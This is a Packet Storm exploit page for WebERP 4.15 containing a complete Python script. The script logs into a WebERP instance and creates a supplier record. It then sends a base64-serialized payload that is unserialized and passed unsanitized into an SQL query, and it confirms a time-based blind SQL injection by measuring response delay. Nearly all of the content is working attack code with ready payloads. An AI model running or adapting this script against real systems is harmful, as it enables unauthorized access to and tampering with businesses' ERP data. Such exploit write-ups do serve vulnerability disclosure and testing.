what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WebERP 4.15 SQL Injection

WebERP 4.15 SQL Injection
Posted Jun 20, 2019
Authored by Semen Alexandrovich Lyhin

WebERP version 4.15 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 2ae97211f9bef8e2b1a722e739da6be15ea90dd4853fa935f74ecbf9063d7ac4

WebERP 4.15 SQL Injection

Change Mirror Download
# Exploit Title: Blind SQL injection in WebERP.
# Date: June 10, 2019
# Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/)
# Vendor Homepage: http://www.weberp.org/
# Version: 4.15

# A malicious query can be sent in base64 encoding to unserialize() function. It can be deserialized as an array without any sanitization then.
# After it, each element of the array is passed directly to the SQL query.

import requests
import base64
import os
import subprocess
from bs4 import BeautifulSoup
import re
import time
import sys

def generatePayload(PaidAmount="0",PaymentId="0"):
#THIS FUNCTION IS INSECURE BY DESIGN
ToSerialize = r"[\"%s\" => \"%s\"]" % (PaymentId, PaidAmount)
return os.popen("php -r \"echo base64_encode(serialize(" + ToSerialize + "));\"").read()

def getCookies(ip, CompanyNameField, usr, pwd):
r = requests.get("http://" + ip + "/index.php")
s = BeautifulSoup(r.text, 'lxml')
m = re.search("FormID.*>", r.text)
FormID = m.group(0).split("\"")[2]

data = {"FormID":FormID,"CompanyNameField":CompanyNameField,"UserNameEntryField":usr,"Password":pwd,"SubmitUser":"Login"}
r = requests.post("http://" + ip + "/index.php", data)

return {"PHPSESSIDwebERPteam":r.headers["Set-Cookie"][20:46]}


def addSupplierID(name, cookies, proxies):
r = requests.get("http://" + ip + "/Suppliers.php", cookies=cookies)
s = BeautifulSoup(r.text, 'lxml')
m = re.search("FormID.*>", r.text)
FormID = m.group(0).split("\"")[2]

data = {"FormID":FormID,"New":"Yes","SupplierID":name,"SuppName":name,"SupplierType":"1","SupplierSince":"01/06/2019","BankPartics":"","BankRef":"0",
"PaymentTerms":"20","FactorID":"0","TaxRef":"","CurrCode":"USD","Remittance":"0","TaxGroup":"1","submit":"Insert+New+Supplier"}

requests.post("http://" + ip + "/Suppliers.php", data=data,cookies=cookies,proxies=proxies)


def runExploit(cookies, supplier_id, payload, proxies):
r = requests.get("http://" + ip + "/Payments.php", cookies=cookies)
s = BeautifulSoup(r.text, 'lxml')
m = re.search("FormID.*>", r.text)
FormID = m.group(0).split("\"")[2]

data = {"FormID":FormID,
"CommitBatch":"2",
"BankAccount":"1",
"DatePaid":"01/06/2019",
"PaidArray":payload}

requests.post("http://" + ip + "/Payments.php?identifier=1559385755&SupplierID=" + supplier_id, data=data,cookies=cookies,proxies=proxies)


if __name__ == "__main__":
#proxies = {'http':'127.0.0.1:8080'}
proxies = {}

if len(sys.argv) != 6:
print '(+) usage: %s <target> <path> <login> <password> <order>' % sys.argv[0]
print '(+) eg: %s 127.0.0.1 "weberp/webERP/" admin weberp 1' % sys.argv[0]
print 'Order means the number of company on the website. Can be gathered from the login page and usually equals 0 or 1'
exit()

ip = sys.argv[1] + "/" + sys.argv[2]

#if don't have php, set Payload to the next one to check this time-based SQLi: YToxOntpOjA7czoyMzoiMCB3aGVyZSBzbGVlcCgxKT0xOy0tIC0iO30=
#payload = generatePayload("0 where sleep(1)=1;-- -", "0")

payload = generatePayload("0", "' or sleep(5) and '1'='1")

#get cookies
cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])

addSupplierID("GARUMPAGE", cookies, proxies)

t1 = time.time()
runExploit(cookies, "GARUMPAGE", payload, proxies)
t2 = time.time()

if (t2-t1>4):
print "Blind sqli is confirmed"
else:
print "Verify input data and try again"
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close